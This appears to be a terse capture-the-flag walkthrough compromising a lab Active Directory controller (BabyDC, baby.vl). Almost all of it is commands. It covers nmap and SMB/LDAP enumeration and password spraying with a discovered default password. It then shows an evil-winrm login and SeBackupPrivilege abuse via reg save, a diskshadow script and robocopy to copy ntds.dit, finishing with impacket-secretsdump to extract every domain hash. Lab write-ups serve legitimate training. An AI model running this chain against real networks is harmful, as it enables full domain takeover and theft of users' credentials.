$ nmap $IP -sV -T4 -n -Pn --max-rtt-timeout 1500ms --min-rate 1000 --max-retries 3 --open -p- -oA full_port_scan --stats-every=5s -vv
============================================================
| Domain Information via SMB session for 10.129.72.202 |
============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: BABYDC
NetBIOS domain name: BABY
DNS domain: baby.vl
FQDN: BabyDC.baby.vl
Derived membership: domain member
Derived domain: BABY
====================================================
| Domain Information via RPC for 10.129.72.202 |
====================================================
[+] Domain: BABY
[+] Domain SID: S-1-5-21-1407081343-4001094062-1444647654
[+] Membership: domain member
$ sudo echo "10.129.72.202 baby.vl BabyDC.baby.vl" | sudo tee -a /etc/hosts
$ ldapsearch -x -H ldap://$IP -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName description
$ kpasswd Caroline.Robinson
$ ldapsearch -x -b "dc=baby, dc=vl" "*" -H ldap://$IP | grep dn
Also other usernames i found Ian.Walker and Caroline.Robinson
$ netexec smb baby.vl -u users.txt -p 'BabyStart123!'
$ kpasswd Caroline.Robinson
$ evil-winrm -u caroline.robinson './MyPass123' -i $IP
$ whoami /priv
SeBackupPrivilege is enabled and then in order to take the domain users and passwords:
$ reg save HKLM\SYSTEM SYSTEM.SAV
$ reg save HKLM\SAM SAM.SAV
$ Set-Content -Path "C:\Users\Caroline.Robinson\Documents\shadow.txt" -Value "set verbose on`r`nset metadata C:\Windows\Temp\meta.cab`r`nset context clientaccessible`r`nset context persistent`r`nbegin backup`r`nadd volume C: alias cdrive`r`ncreate`r`nexpose %cdrive% E:`r`nend backup`r`nexit"
$ diskshadow.exe /s shadow.txt
$ robocopy /B "E:\Windows\NTDS" . ntds.dit
$ download SYSTEM.SAV
$ download SAM.SAV
$ download ntds.dit
In the Attacker machine:
$ impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
